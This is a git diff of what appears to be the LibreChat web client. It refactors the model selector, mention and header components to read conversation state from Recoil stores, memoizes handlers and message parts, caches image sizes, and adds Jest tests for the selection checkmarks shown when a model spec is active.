       const file = createMockFile({
-        file_id: 'regression-test',
+        file_id: 'cache-test',
         preview: 'blob:http://localhost:3080/d25f730c-152d-41f7-8d79-c9fa448f606b',
         filepath:
           '/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png',
@@ -337,8 +337,24 @@ describe('FileRow', () => {
       renderFileRow(filesMap);
 
       const imageUrl = screen.getByTestId('image-url').textContent;
+      expect(imageUrl).toBe('blob:http://localhost:3080/d25f730c-152d-41f7-8d79-c9fa448f606b');
+    });
 
-      expect(imageUrl).not.toContain('blob:');
+    it('should fall back to filepath when no preview exists', () => {
+      const file = createMockFile({
+        file_id: 'no-preview',
+        preview: undefined,
+        filepath:
+          '/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png',
+        progress: 1,
+      });
+
+      const filesMap = new Map<string, ExtendedFile>();
+      filesMap.set(file.file_id, file);
+
+      renderFileRow(filesMap);
+
+      const imageUrl = screen.getByTestId('image-url').textContent;
       expect(imageUrl).toBe(
         '/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png',
       );
diff --git a/client/src/components/Chat/Input/Mention.tsx b/client/src/components/Chat/Input/Mention.tsx
index 9e56068def..34bddba519 100644
--- a/client/src/components/Chat/Input/Mention.tsx
+++ b/client/src/components/Chat/Input/Mention.tsx
@@ -2,11 +2,10 @@ import { useState, useRef, useEffect } from 'react';
 import { useCombobox } from '@librechat/client';
 import { AutoSizer, List } from 'react-virtualized';
 import { EModelEndpoint } from 'librechat-data-provider';
-import type { TConversation } from 'librechat-data-provider';
 import type { MentionOption, ConvoGenerator } from '~/common';
 import type { SetterOrUpdater } from 'recoil';
+import { useGetConversation, useLocalize, TranslationKeys } from '~/hooks';
 import useSelectMention from '~/hooks/Input/useSelectMention';
-import { useLocalize, TranslationKeys } from '~/hooks';
 import { useAssistantsMapContext } from '~/Providers';
 import useMentions from '~/hooks/Input/useMentions';
 import { removeCharIfLast } from '~/utils';
@@ -15,7 +14,6 @@ import MentionItem from './MentionItem';
 const ROW_HEIGHT = 44;
 
 export default function Mention({
-  conversation,
   setShowMentionPopover,
   newConversation,
   textAreaRef,
@@ -23,7 +21,6 @@ export default function Mention({
   placeholder = 'com_ui_mention',
   includeAssistants = true,
 }: {
-  conversation: TConversation | null;
   setShowMentionPopover: SetterOrUpdater<boolean>;
   newConversation: ConvoGenerator;
   textAreaRef: React.MutableRefObject<HTMLTextAreaElement | null>;
@@ -32,6 +29,7 @@ export default function Mention({
   includeAssistants?: boolean;
 }) {
   const localize = useLocalize();
+  const getConversation = useGetConversation(0);
   const assistantsMap = useAssistantsMapContext();
   const {
     options,
@@ -45,9 +43,9 @@ export default function Mention({
   const { onSelectMention } = useSelectMention({
     presets,
     modelSpecs,
-    conversation,
     assistantsMap,
     endpointsConfig,
+    getConversation,
     newConversation,
   });
 
diff --git a/client/src/components/Chat/Menus/Endpoints/ModelSelectorChatContext.tsx b/client/src/components/Chat/Menus/Endpoints/ModelSelectorChatContext.tsx
index eac3bb200c..c6f2416d78 100644
--- a/client/src/components/Chat/Menus/Endpoints/ModelSelectorChatContext.tsx
+++ b/client/src/components/Chat/Menus/Endpoints/ModelSelectorChatContext.tsx
@@ -1,6 +1,9 @@
-import React, { createContext, useContext, useMemo } from 'react';
+import React, { createContext, useCallback, useContext, useMemo, useRef } from 'react';
+import { useRecoilValue } from 'recoil';
 import type { EModelEndpoint, TConversation } from 'librechat-data-provider';
-import { useChatContext } from '~/Providers/ChatContext';
+import type { ConvoGenerator } from '~/common';
+import { useGetConversation, useNewConvo } from '~/hooks';
+import store from '~/store';
 
 interface ModelSelectorChatContextValue {
   endpoint?: EModelEndpoint | null;
@@ -8,8 +11,8 @@ interface ModelSelectorChatContextValue {
   spec?: string | null;
   agent_id?: string | null;
   assistant_id?: string | null;
-  conversation: TConversation | null;
-  newConversation: ReturnType<typeof useChatContext>['newConversation'];
+  getConversation: () => TConversation | null;
+  newConversation: ConvoGenerator;
 }
 
 const ModelSelectorChatContext = createContext<ModelSelectorChatContextValue | undefined>(
@@ -17,20 +20,34 @@ const ModelSelectorChatContext = createContext<ModelSelectorChatContextValue | u
 );
 
 export function ModelSelectorChatProvider({ children }: { children: React.ReactNode }) {
-  const { conversation, newConversation } = useChatContext();
+  const getConversation = useGetConversation(0);
+  const { newConversation: nextNewConversation } = useNewConvo();
+
+  const spec = useRecoilValue(store.conversationSpecByIndex(0));
+  const model = useRecoilValue(store.conversationModelByIndex(0));
+  const agent_id = useRecoilValue(store.conversationAgentIdByIndex(0));
+  const endpoint = useRecoilValue(store.conversationEndpointByIndex(0));
+  const assistant_id = useRecoilValue(store.conversationAssistantIdByIndex(0));
+
+  const newConversationRef = useRef(nextNewConversation);
+  newConversationRef.current = nextNewConversation;
+  const newConversation = useCallback<ConvoGenerator>(
+    (params) => newConversationRef.current(params),
+    [],
+  );
 
   /** Context value only created when relevant conversation properties change */
   const contextValue = useMemo<ModelSelectorChatContextValue>(
     () => ({
-      endpoint: conversation?.endpoint,
-      model: conversation?.model,
-      spec: conversation?.spec,
-      agent_id: conversation?.agent_id,
-      assistant_id: conversation?.assistant_id,
-      conversation,
+      model,
+      spec,
+      agent_id,
+      endpoint,
+      assistant_id,
+      getConversation,
       newConversation,
     }),
-    [conversation, newConversation],
+    [endpoint, model, spec, agent_id, assistant_id, getConversation, newConversation],
   );
 
   return (
diff --git a/client/src/components/Chat/Menus/Endpoints/ModelSelectorContext.tsx b/client/src/components/Chat/Menus/Endpoints/ModelSelectorContext.tsx
index dd08728560..5a51db6ce9 100644
--- a/client/src/components/Chat/Menus/Endpoints/ModelSelectorContext.tsx
+++ b/client/src/components/Chat/Menus/Endpoints/ModelSelectorContext.tsx
@@ -58,7 +58,7 @@ export function ModelSelectorProvider({ children, startupConfig }: ModelSelector
   const agentsMap = useAgentsMapContext();
   const assistantsMap = useAssistantsMapContext();
   const { data: endpointsConfig } = useGetEndpointsQuery();
-  const { endpoint, model, spec, agent_id, assistant_id, conversation, newConversation } =
+  const { endpoint, model, spec, agent_id, assistant_id, getConversation, newConversation } =
     useModelSelectorChatContext();
   const localize = useLocalize();
   const { announcePolite } = useLiveAnnouncer();
@@ -114,7 +114,7 @@ export function ModelSelectorProvider({ children, startupConfig }: ModelSelector
   const { onSelectEndpoint, onSelectSpec } = useSelectMention({
     // presets,
     modelSpecs,
-    conversation,
+    getConversation,
     assistantsMap,
     endpointsConfig,
     newConversation,
@@ -171,90 +171,115 @@ export function ModelSelectorProvider({ children, startupConfig }: ModelSelector
       }, 200),
     [],
   );
-  const setEndpointSearchValue = (endpoint: string, value: string) => {
+  const setEndpointSearchValue = useCallback((endpoint: string, value: string) => {
     setEndpointSearchValues((prev) => ({
       ...prev,
       [endpoint]: value,
     }));
-  };
+  }, []);
 
-  const handleSelectSpec = (spec: t.TModelSpec) => {
-    let model = spec.preset.model ?? null;
-    onSelectSpec?.(spec);
-    if (isAgentsEndpoint(spec.preset.endpoint)) {
-      model = spec.preset.agent_id ?? '';
-    } else if (isAssistantsEndpoint(spec.preset.endpoint)) {
-      model = spec.preset.assistant_id ?? '';
-    }
-    setSelectedValues({
-      endpoint: spec.preset.endpoint,
-      model,
-      modelSpec: spec.name,
-    });
-  };
+  const handleSelectSpec = useCallback(
+    (spec: t.TModelSpec) => {
+      let model = spec.preset.model ?? null;
+      onSelectSpec?.(spec);
+      if (isAgentsEndpoint(spec.preset.endpoint)) {
+        model = spec.preset.agent_id ?? '';
+      } else if (isAssistantsEndpoint(spec.preset.endpoint)) {
+        model = spec.preset.assistant_id ?? '';
+      }
+      setSelectedValues({
+        endpoint: spec.preset.endpoint,
+        model,
+        modelSpec: spec.name,
+      });
+    },
+    [onSelectSpec],
+  );
 
-  const handleSelectEndpoint = (endpoint: Endpoint) => {
-    if (!endpoint.hasModels) {
-      if (endpoint.value) {
-        onSelectEndpoint?.(endpoint.value);
+  const handleSelectEndpoint = useCallback(
+    (endpoint: Endpoint) => {
+      if (!endpoint.hasModels) {
+        if (endpoint.value) {
+          onSelectEndpoint?.(endpoint.value);
+        }
+        setSelectedValues({
+          endpoint: endpoint.value,
+          model: '',
+          modelSpec: '',
+        });
+      }
+    },
+    [onSelectEndpoint],
+  );
+
+  const handleSelectModel = useCallback(
+    (endpoint: Endpoint, model: string) => {
+      if (isAgentsEndpoint(endpoint.value)) {
+        onSelectEndpoint?.(endpoint.value, {
+          agent_id: model,
+          model: agentsMap?.[model]?.model ?? '',
+        });
+      } else if (isAssistantsEndpoint(endpoint.value)) {
+        onSelectEndpoint?.(endpoint.value, {
+          assistant_id: model,
+          model: assistantsMap?.[endpoint.value]?.[model]?.model ?? '',
+        });
+      } else if (endpoint.value) {
+        onSelectEndpoint?.(endpoint.value, { model });
       }
       setSelectedValues({
         endpoint: endpoint.value,
-        model: '',
+        model,
         modelSpec: '',
       });
-    }
-  };
 
-  const handleSelectModel = (endpoint: Endpoint, model: string) => {
-    if (isAgentsEndpoint(endpoint.value)) {
-      onSelectEndpoint?.(endpoint.value, {
-        agent_id: model,
-        model: agentsMap?.[model]?.model ?? '',
-      });
-    } else if (isAssistantsEndpoint(endpoint.value)) {
-      onSelectEndpoint?.(endpoint.value, {
-        assistant_id: model,
-        model: assistantsMap?.[endpoint.value]?.[model]?.model ?? '',
-      });
-    } else if (endpoint.value) {
-      onSelectEndpoint?.(endpoint.value, { model });
-    }
-    setSelectedValues({
-      endpoint: endpoint.value,
-      model,
-      modelSpec: '',
-    });
+      const modelDisplayName = getModelDisplayName(endpoint, model);
+      const announcement = localize('com_ui_model_selected', { 0: modelDisplayName });
+      announcePolite({ message: announcement, isStatus: true });
+    },
+    [agentsMap, announcePolite, assistantsMap, getModelDisplayName, localize, onSelectEndpoint],
+  );
 
-    const modelDisplayName = getModelDisplayName(endpoint, model);
-    const announcement = localize('com_ui_model_selected', { 0: modelDisplayName });
-    announcePolite({ message: announcement, isStatus: true });
-  };
-
-  const value = {
-    // State
-    searchValue,
-    searchResults,
-    selectedValues,
-    endpointSearchValues,
-    // LibreChat
-    agentsMap,
-    modelSpecs,
-    assistantsMap,
-    mappedEndpoints,
-    endpointsConfig,
-
-    // Functions
-    handleSelectSpec,
-    handleSelectModel,
-    setSelectedValues,
-    handleSelectEndpoint,
-    setEndpointSearchValue,
-    endpointRequiresUserKey,
-    setSearchValue: setDebouncedSearchValue,
-    // Dialog
-    ...keyProps,
-  };
+  const value = useMemo(
+    () => ({
+      searchValue,
+      searchResults,
+      selectedValues,
+      endpointSearchValues,
+      agentsMap,
+      modelSpecs,
+      assistantsMap,
+      mappedEndpoints,
+      endpointsConfig,
+      handleSelectSpec,
+      handleSelectModel,
+      setSelectedValues,
+      handleSelectEndpoint,
+      setEndpointSearchValue,
+      endpointRequiresUserKey,
+      setSearchValue: setDebouncedSearchValue,
+      ...keyProps,
+    }),
+    [
+      searchValue,
+      searchResults,
+      selectedValues,
+      endpointSearchValues,
+      agentsMap,
+      modelSpecs,
+      assistantsMap,
+      mappedEndpoints,
+      endpointsConfig,
+      handleSelectSpec,
+      handleSelectModel,
+      setSelectedValues,
+      handleSelectEndpoint,
+      setEndpointSearchValue,
+      endpointRequiresUserKey,
+      setDebouncedSearchValue,
+      keyProps,
+    ],
+  );
 
   return <ModelSelectorContext.Provider value={value}>{children}</ModelSelectorContext.Provider>;
 }
diff --git a/client/src/components/Chat/Menus/Endpoints/components/EndpointItem.tsx b/client/src/components/Chat/Menus/Endpoints/components/EndpointItem.tsx
index 6f73f76d79..c8cef36010 100644
--- a/client/src/components/Chat/Menus/Endpoints/components/EndpointItem.tsx
+++ b/client/src/components/Chat/Menus/Endpoints/components/EndpointItem.tsx
@@ -96,7 +96,7 @@ function EndpointMenuContent({
   const localize = useLocalize();
   const { agentsMap, assistantsMap, modelSpecs, selectedValues, endpointSearchValues } =
     useModelSelectorContext();
-  const { model: selectedModel, modelSpec: selectedSpec } = selectedValues;
+  const { modelSpec: selectedSpec } = selectedValues;
   const searchValue = endpointSearchValues[endpoint.value] || '';
 
   const endpointSpecs = useMemo(() => {
@@ -134,15 +134,9 @@ function EndpointMenuContent({
         <ModelSpecItem key={spec.name} spec={spec} isSelected={selectedSpec === spec.name} />
       ))}
       {filteredModels
-        ? renderEndpointModels(
-            endpoint,
-            endpoint.models || [],
-            selectedModel,
-            filteredModels,
-            endpointIndex,
-          )
+        ? renderEndpointModels(endpoint, endpoint.models || [], filteredModels, endpointIndex)
         : endpoint.models &&
-          renderEndpointModels(endpoint, endpoint.models, selectedModel, undefined, endpointIndex)}
+          renderEndpointModels(endpoint, endpoint.models, undefined, endpointIndex)}
     </>
   );
 }
@@ -157,7 +151,7 @@ export function EndpointItem({ endpoint, endpointIndex }: EndpointItemProps) {
     setEndpointSearchValue,
     endpointRequiresUserKey,
   } = useModelSelectorContext();
-  const { endpoint: selectedEndpoint } = selectedValues;
+  const { endpoint: selectedEndpoint, modelSpec: selectedSpec } = selectedValues;
 
   const searchValue = endpointSearchValues[endpoint.value] || '';
   const isUserProvided = useMemo(
@@ -179,7 +173,7 @@ export function EndpointItem({ endpoint, endpointIndex }: EndpointItemProps) {
     </div>
   );
 
-  const isEndpointSelected = selectedEndpoint === endpoint.value;
+  const isEndpointSelected = !selectedSpec && selectedEndpoint === endpoint.value;
 
   if (endpoint.hasModels) {
     const placeholder =
diff --git a/client/src/components/Chat/Menus/Endpoints/components/EndpointModelItem.tsx b/client/src/components/Chat/Menus/Endpoints/components/EndpointModelItem.tsx
index 752788d63a..7cec4744d5 100644
--- a/client/src/components/Chat/Menus/Endpoints/components/EndpointModelItem.tsx
+++ b/client/src/components/Chat/Menus/Endpoints/components/EndpointModelItem.tsx
@@ -11,12 +11,18 @@ import { cn } from '~/utils';
 interface EndpointModelItemProps {
   modelId: string | null;
   endpoint: Endpoint;
-  isSelected: boolean;
 }
 
-export function EndpointModelItem({ modelId, endpoint, isSelected }: EndpointModelItemProps) {
+export function EndpointModelItem({ modelId, endpoint }: EndpointModelItemProps) {
   const localize = useLocalize();
-  const { handleSelectModel } = useModelSelectorContext();
+  const { handleSelectModel, selectedValues } = useModelSelectorContext();
+  const {
+    endpoint: selectedEndpoint,
+    model: selectedModel,
+    modelSpec: selectedSpec,
+  } = selectedValues;
+  const isSelected =
+    !selectedSpec && selectedEndpoint === endpoint.value && selectedModel === modelId;
   const { isFavoriteModel, toggleFavoriteModel, isFavoriteAgent, toggleFavoriteAgent } =
     useFavorites();
 
@@ -147,7 +153,6 @@ export function EndpointModelItem({ modelId, endpoint, isSelected }: EndpointMod
 export function renderEndpointModels(
   endpoint: Endpoint | null,
   models: Array<{ name: string; isGlobal?: boolean }>,
-  selectedModel: string | null,
   filteredModels?: string[],
   endpointIndex?: number,
 ) {
@@ -161,7 +166,6 @@ export function renderEndpointModels(
           key={`${endpoint.value}${indexSuffix}-${modelId}-${modelIndex}`}
           modelId={modelId}
           endpoint={endpoint}
-          isSelected={selectedModel === modelId}
         />
       ),
   );
diff --git a/client/src/components/Chat/Menus/Endpoints/components/SearchResults.tsx b/client/src/components/Chat/Menus/Endpoints/components/SearchResults.tsx
index 34985639c5..26831a577e 100644
--- a/client/src/components/Chat/Menus/Endpoints/components/SearchResults.tsx
+++ b/client/src/components/Chat/Menus/Endpoints/components/SearchResults.tsx
@@ -160,7 +160,9 @@ export function SearchResults({ results, localize, searchValue }: SearchResultsP
                   }
 
                   const isModelSelected =
-                    selectedEndpoint === endpoint.value && selectedModel === modelId;
+                    !selectedSpec &&
+                    selectedEndpoint === endpoint.value &&
+                    selectedModel === modelId;
                   return (
                     <MenuItem
                       key={`${endpoint.value}-${modelId}-search-${i}`}
@@ -199,7 +201,7 @@ export function SearchResults({ results, localize, searchValue }: SearchResultsP
             );
           } else {
             // Endpoints with no models
-            const isEndpointSelected = selectedEndpoint === endpoint.value;
+            const isEndpointSelected = !selectedSpec && selectedEndpoint === endpoint.value;
             return (
               <MenuItem
                 key={`endpoint-${endpoint.value}-search-item`}
diff --git a/client/src/components/Chat/Menus/Endpoints/components/__tests__/EndpointModelItem.test.tsx b/client/src/components/Chat/Menus/Endpoints/components/__tests__/EndpointModelItem.test.tsx
new file mode 100644
index 0000000000..6e96ba1699
--- /dev/null
+++ b/client/src/components/Chat/Menus/Endpoints/components/__tests__/EndpointModelItem.test.tsx
@@ -0,0 +1,85 @@
+import { render, screen } from '@testing-library/react';
+import type { Endpoint, SelectedValues } from '~/common';
+import { EndpointModelItem } from '../EndpointModelItem';
+
+const mockHandleSelectModel = jest.fn();
+let mockSelectedValues: SelectedValues;
+
+jest.mock('~/components/Chat/Menus/Endpoints/ModelSelectorContext', () => ({
+  useModelSelectorContext: () => ({
+    handleSelectModel: mockHandleSelectModel,
+    selectedValues: mockSelectedValues,
+  }),
+}));
+
+jest.mock('~/components/Chat/Menus/Endpoints/CustomMenu', () => {
+  const React = jest.requireActual<typeof import('react')>('react');
+  return {
+    CustomMenuItem: React.forwardRef(function MockMenuItem(
+      { children, ...rest }: { children?: React.ReactNode },
+      ref: React.Ref<HTMLDivElement>,
+    ) {
+      return React.createElement('div', { ref, role: 'menuitem', ...rest }, children);
+    }),
+  };
+});
+
+jest.mock('~/hooks', () => ({
+  useLocalize: () => (key: string) => key,
+  useFavorites: () => ({
+    isFavoriteModel: () => false,
+    toggleFavoriteModel: jest.fn(),
+    isFavoriteAgent: () => false,
+    toggleFavoriteAgent: jest.fn(),
+  }),
+}));
+
+const baseEndpoint: Endpoint = {
+  value: 'anthropic',
+  label: 'Anthropic',
+  hasModels: true,
+  models: [{ name: 'claude-opus-4-6' }],
+  icon: null,
+};
+
+describe('EndpointModelItem', () => {
+  beforeEach(() => {
+    jest.clearAllMocks();
+  });
+
+  it('renders checkmark when model and endpoint match with no active spec', () => {
+    mockSelectedValues = { endpoint: 'anthropic', model: 'claude-opus-4-6', modelSpec: '' };
+    render(<EndpointModelItem modelId="claude-opus-4-6" endpoint={baseEndpoint} />);
+
+    const menuItem = screen.getByRole('menuitem');
+    expect(menuItem).toHaveAttribute('aria-selected', 'true');
+  });
+
+  it('does NOT render checkmark when a model spec is active even if endpoint and model match', () => {
+    mockSelectedValues = {
+      endpoint: 'anthropic',
+      model: 'claude-opus-4-6',
+      modelSpec: 'my-anthropic-spec',
+    };
+    render(<EndpointModelItem modelId="claude-opus-4-6" endpoint={baseEndpoint} />);
+
+    const menuItem = screen.getByRole('menuitem');
+    expect(menuItem).not.toHaveAttribute('aria-selected');
+  });
+
+  it('does NOT render checkmark when model matches but endpoint differs', () => {
+    mockSelectedValues = { endpoint: 'openai', model: 'claude-opus-4-6', modelSpec: '' };
+    render(<EndpointModelItem modelId="claude-opus-4-6" endpoint={baseEndpoint} />);
+
+    const menuItem = screen.getByRole('menuitem');
+    expect(menuItem).not.toHaveAttribute('aria-selected');
+  });
+
+  it('does NOT render checkmark when endpoint matches but model differs', () => {
+    mockSelectedValues = { endpoint: 'anthropic', model: 'claude-sonnet-4-5', modelSpec: '' };
+    render(<EndpointModelItem modelId="claude-opus-4-6" endpoint={baseEndpoint} />);
+
+    const menuItem = screen.getByRole('menuitem');
+    expect(menuItem).not.toHaveAttribute('aria-selected');
+  });
+});
diff --git a/client/src/components/Chat/Menus/Endpoints/components/__tests__/SearchResults.test.tsx b/client/src/components/Chat/Menus/Endpoints/components/__tests__/SearchResults.test.tsx
new file mode 100644
index 0000000000..8ab9235f6f
--- /dev/null
+++ b/client/src/components/Chat/Menus/Endpoints/components/__tests__/SearchResults.test.tsx
@@ -0,0 +1,109 @@
+import { render, screen } from '@testing-library/react';
+import type { Endpoint, SelectedValues } from '~/common';
+import { SearchResults } from '../SearchResults';
+
+const mockHandleSelectSpec = jest.fn();
+const mockHandleSelectModel = jest.fn();
+const mockHandleSelectEndpoint = jest.fn();
+let mockSelectedValues: SelectedValues;
+
+jest.mock('~/components/Chat/Menus/Endpoints/ModelSelectorContext', () => ({
+  useModelSelectorContext: () => ({
+    selectedValues: mockSelectedValues,
+    handleSelectSpec: mockHandleSelectSpec,
+    handleSelectModel: mockHandleSelectModel,
+    handleSelectEndpoint: mockHandleSelectEndpoint,
+    endpointsConfig: {},
+  }),
+}));
+
+jest.mock('~/components/Chat/Menus/Endpoints/CustomMenu', () => {
+  const React = jest.requireActual<typeof import('react')>('react');
+  return {
+    CustomMenuItem: React.forwardRef(function MockMenuItem(
+      { children, ...rest }: { children?: React.ReactNode },
+      ref: React.Ref<HTMLDivElement>,
+    ) {
+      return React.createElement('div', { ref, role: 'menuitem', ...rest }, children);
+    }),
+  };
+});
+
+jest.mock('../SpecIcon', () => {
+  const React = jest.requireActual<typeof import('react')>('react');
+  return {
+    __esModule: true,
+    default: () => React.createElement('span', null, 'icon'),
+  };
+});
+
+const localize = (key: string) => key;
+
+const anthropicEndpoint: Endpoint = {
+  value: 'anthropic',
+  label: 'Anthropic',
+  hasModels: true,
+  models: [{ name: 'claude-opus-4-6' }, { name: 'claude-sonnet-4-5' }],
+  icon: null,
+};
+
+const noModelsEndpoint: Endpoint = {
+  value: 'custom',
+  label: 'Custom',
+  hasModels: false,
+  icon: null,
+};
+
+describe('SearchResults', () => {
+  beforeEach(() => {
+    jest.clearAllMocks();
+  });
+
+  it('marks model as selected when endpoint and model match with no active spec', () => {
+    mockSelectedValues = { endpoint: 'anthropic', model: 'claude-opus-4-6', modelSpec: '' };
+    render(
+      <SearchResults results={[anthropicEndpoint]} localize={localize} searchValue="claude" />,
+    );
+
+    const items = screen.getAllByRole('menuitem');
+    const selectedItem = items.find((el) => el.getAttribute('aria-selected') === 'true');
+    expect(selectedItem).toBeDefined();
+    expect(selectedItem).toHaveTextContent('claude-opus-4-6');
+  });
+
+  it('does not mark model as selected when a spec is active', () => {
+    mockSelectedValues = {
+      endpoint: 'anthropic',
+      model: 'claude-opus-4-6',
+      modelSpec: 'my-spec',
+    };
+    render(
+      <SearchResults results={[anthropicEndpoint]} localize={localize} searchValue="claude" />,
+    );
+
+    const items = screen.getAllByRole('menuitem');
+    for (const item of items) {
+      expect(item).not.toHaveAttribute('aria-selected');
+    }
+  });
+
+  it('does not mark endpoint as selected when a spec is active', () => {
+    mockSelectedValues = {
+      endpoint: 'custom',
+      model: '',
+      modelSpec: 'my-spec',
+    };
+    render(<SearchResults results={[noModelsEndpoint]} localize={localize} searchValue="custom" />);
+
+    const item = screen.getByRole('menuitem');
+    expect(item).not.toHaveAttribute('aria-selected');
+  });
+
+  it('marks endpoint as selected when no spec is active and endpoint matches', () => {
+    mockSelectedValues = { endpoint: 'custom', model: '', modelSpec: '' };
+    render(<SearchResults results={[noModelsEndpoint]} localize={localize} searchValue="custom" />);
+
+    const item = screen.getByRole('menuitem');
+    expect(item).toHaveAttribute('aria-selected', 'true');
+  });
+});
diff --git a/client/src/components/Chat/Menus/HeaderNewChat.tsx b/client/src/components/Chat/Menus/HeaderNewChat.tsx
index 764397eddb..a50d42af85 100644
--- a/client/src/components/Chat/Menus/HeaderNewChat.tsx
+++ b/client/src/components/Chat/Menus/HeaderNewChat.tsx
@@ -1,14 +1,16 @@
 import { QueryKeys } from 'librechat-data-provider';
+import { useRecoilValue } from 'recoil';
 import { useQueryClient } from '@tanstack/react-query';
 import { TooltipAnchor, Button, NewChatIcon } from '@librechat/client';
-import { useChatContext } from '~/Providers';
+import { useNewConvo, useLocalize } from '~/hooks';
 import { clearMessagesCache } from '~/utils';
-import { useLocalize } from '~/hooks';
+import store from '~/store';
 
 export default function HeaderNewChat() {
   const localize = useLocalize();
   const queryClient = useQueryClient();
-  const { conversation, newConversation } = useChatContext();
+  const { newConversation } = useNewConvo();
+  const conversation = useRecoilValue(store.conversationByIndex(0));
 
   const clickHandler: React.MouseEventHandler<HTMLButtonElement> = (e) => {
     if (e.button === 0 && (e.ctrlKey || e.metaKey)) {
diff --git a/client/src/components/Chat/Menus/PresetsMenu.tsx b/client/src/components/Chat/Menus/PresetsMenu.tsx
index 7ba0ae5c88..0edd1635bc 100644
--- a/client/src/components/Chat/Menus/PresetsMenu.tsx
+++ b/client/src/components/Chat/Menus/PresetsMenu.tsx
@@ -1,4 +1,5 @@
 import { useRef } from 'react';
+import { useRecoilValue } from 'recoil';
 import { Trans } from 'react-i18next';
 import { BookCopy } from 'lucide-react';
 import { Content, Portal, Root, Trigger } from '@radix-ui/react-popover';
@@ -13,7 +14,7 @@ import {
 import type { FC } from 'react';
 import { EditPresetDialog, PresetItems } from './Presets';
 import { useLocalize, usePresets } from '~/hooks';
-import { useChatContext } from '~/Providers';
+import store from '~/store';
 
 const PresetsMenu: FC = () => {
   const localize = useLocalize();
@@ -33,7 +34,7 @@ const PresetsMenu: FC = () => {
     presetToDelete,
     confirmDeletePreset,
   } = usePresets();
-  const { preset } = useChatContext();
+  const preset = useRecoilValue(store.presetByIndex(0));
 
   const handleDeleteDialogChange = (open: boolean) => {
     setShowDeleteDialog(open);
diff --git a/client/src/components/Chat/Messages/Content/ContentParts.tsx b/client/src/components/Chat/Messages/Content/ContentParts.tsx
index 42ce8b8f14..4b431d7a98 100644
--- a/client/src/components/Chat/Messages/Content/ContentParts.tsx
+++ b/client/src/components/Chat/Messages/Content/ContentParts.tsx
@@ -15,6 +15,61 @@ import Sources from '~/components/Web/Sources';
 import Container from './Container';
 import Part from './Part';
 
+type PartWithContextProps = {
+  part: TMessageContentParts;
+  idx: number;
+  isLastPart: boolean;
+  messageId: string;
+  conversationId?: string | null;
+  nextType?: string;
+  isSubmitting: boolean;
+  isLatestMessage?: boolean;
+  isCreatedByUser: boolean;
+  isLast: boolean;
+  partAttachments: TAttachment[] | undefined;
+};
+
+const PartWithContext = memo(function PartWithContext({
+  part,
+  idx,
+  isLastPart,
+  messageId,
+  conversationId,
+  nextType,
+  isSubmitting,
+  isLatestMessage,
+  isCreatedByUser,
+  isLast,
+  partAttachments,
+}: PartWithContextProps) {
+  const contextValue = useMemo(
+    () => ({
+      messageId,
+      isExpanded: true as const,
+      conversationId,
+      partIndex: idx,
+      nextType,
+      isSubmitting,
+      isLatestMessage,
+    }),
+    [messageId, conversationId, idx, nextType, isSubmitting, isLatestMessage],
+  );
+
+  return (
+    <MessageContext.Provider value={contextValue}>
+      <Part
+        part={part}
+        attachments={partAttachments}
+        isSubmitting={isSubmitting}
+        key={`part-${messageId}-${idx}`}
+        isCreatedByUser={isCreatedByUser}
+        isLast={isLastPart}
+        showCursor={isLastPart && isLast}
+      />
+    </MessageContext.Provider>
+  );
+});
+
 type ContentPartsProps = {
   content: Array<TMessageContentParts | undefined> | undefined;
   messageId: string;
@@ -58,37 +113,24 @@ const ContentParts = memo(function ContentParts({
   const attachmentMap = useMemo(() => mapAttachments(attachments ?? []), [attachments]);
   const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
 
-  /**
-   * Render a single content part with proper context.
-   */
   const renderPart = useCallback(
     (part: TMessageContentParts, idx: number, isLastPart: boolean) => {
       const toolCallId = (part?.[ContentTypes.TOOL_CALL] as Agents.ToolCall | undefined)?.id ?? '';
-      const partAttachments = attachmentMap[toolCallId];
-
       return (
-        <MessageContext.Provider
+        <PartWithContext
           key={`provider-${messageId}-${idx}`}
-          value={{
-            messageId,
-            isExpanded: true,
-            conversationId,
-            partIndex: idx,
-            nextType: content?.[idx + 1]?.type,
-            isSubmitting: effectiveIsSubmitting,
-            isLatestMessage,
-          }}
-        >
-          <Part
-            part={part}
-            attachments={partAttachments}
-            isSubmitting={effectiveIsSubmitting}
-            key={`part-${messageId}-${idx}`}
-            isCreatedByUser={isCreatedByUser}
-            isLast={isLastPart}
-            showCursor={isLastPart && isLast}
-          />
-        </MessageContext.Provider>
+          idx={idx}
+          part={part}
+          isLast={isLast}
+          messageId={messageId}
+          isLastPart={isLastPart}
+          conversationId={conversationId}
+          isLatestMessage={isLatestMessage}
+          isCreatedByUser={isCreatedByUser}
+          nextType={content?.[idx + 1]?.type}
+          isSubmitting={effectiveIsSubmitting}
+          partAttachments={attachmentMap[toolCallId]}
+        />
       );
     },
     [
diff --git a/client/src/components/Chat/Messages/Content/DialogImage.tsx b/client/src/components/Chat/Messages/Content/DialogImage.tsx
index cb496de646..b9cbe64555 100644
--- a/client/src/components/Chat/Messages/Content/DialogImage.tsx
+++ b/client/src/components/Chat/Messages/Content/DialogImage.tsx
@@ -4,6 +4,8 @@ import { Button, TooltipAnchor } from '@librechat/client';
 import { X, ArrowDownToLine, PanelLeftOpen, PanelLeftClose, RotateCcw } from 'lucide-react';
 import { useLocalize } from '~/hooks';
 
+const imageSizeCache = new Map<string, string>();
+
 const getQualityStyles = (quality: string): string => {
   if (quality === 'high') {
     return 'bg-green-100 text-green-800';
@@ -50,18 +52,26 @@ export default function DialogImage({
   const closeButtonRef = useRef<HTMLButtonElement>(null);
 
   const getImageSize = useCallback(async (url: string) => {
+    const cached = imageSizeCache.get(url);
+    if (cached) {
+      return cached;
+    }
     try {
       const response = await fetch(url, { method: 'HEAD' });
       const contentLength = response.headers.get('Content-Length');
 
       if (contentLength) {
         const bytes = parseInt(contentLength, 10);
-        return formatFileSize(bytes);
+        const result = formatFileSize(bytes);
+        imageSizeCache.set(url, result);
+        return result;
       }
 
       const fullResponse = await fetch(url);
       const blob = await fullResponse.blob();
-      return formatFileSize(blob.size);
+      const result = formatFileSize(blob.size);
+      imageSizeCache.set(url, result);
+      return result;
     } catch (error) {
       console.error('Error getting image size:', error);
       return null;
@@ -355,6 +365,7 @@ export default function DialogImage({
                   ref={imageRef}
                   src={src}
                   alt="Image"
+                  decoding="async"
                   className="block max-h-[85vh] object-contain"
                   style={{
                     maxWidth: getImageMaxWidth(),
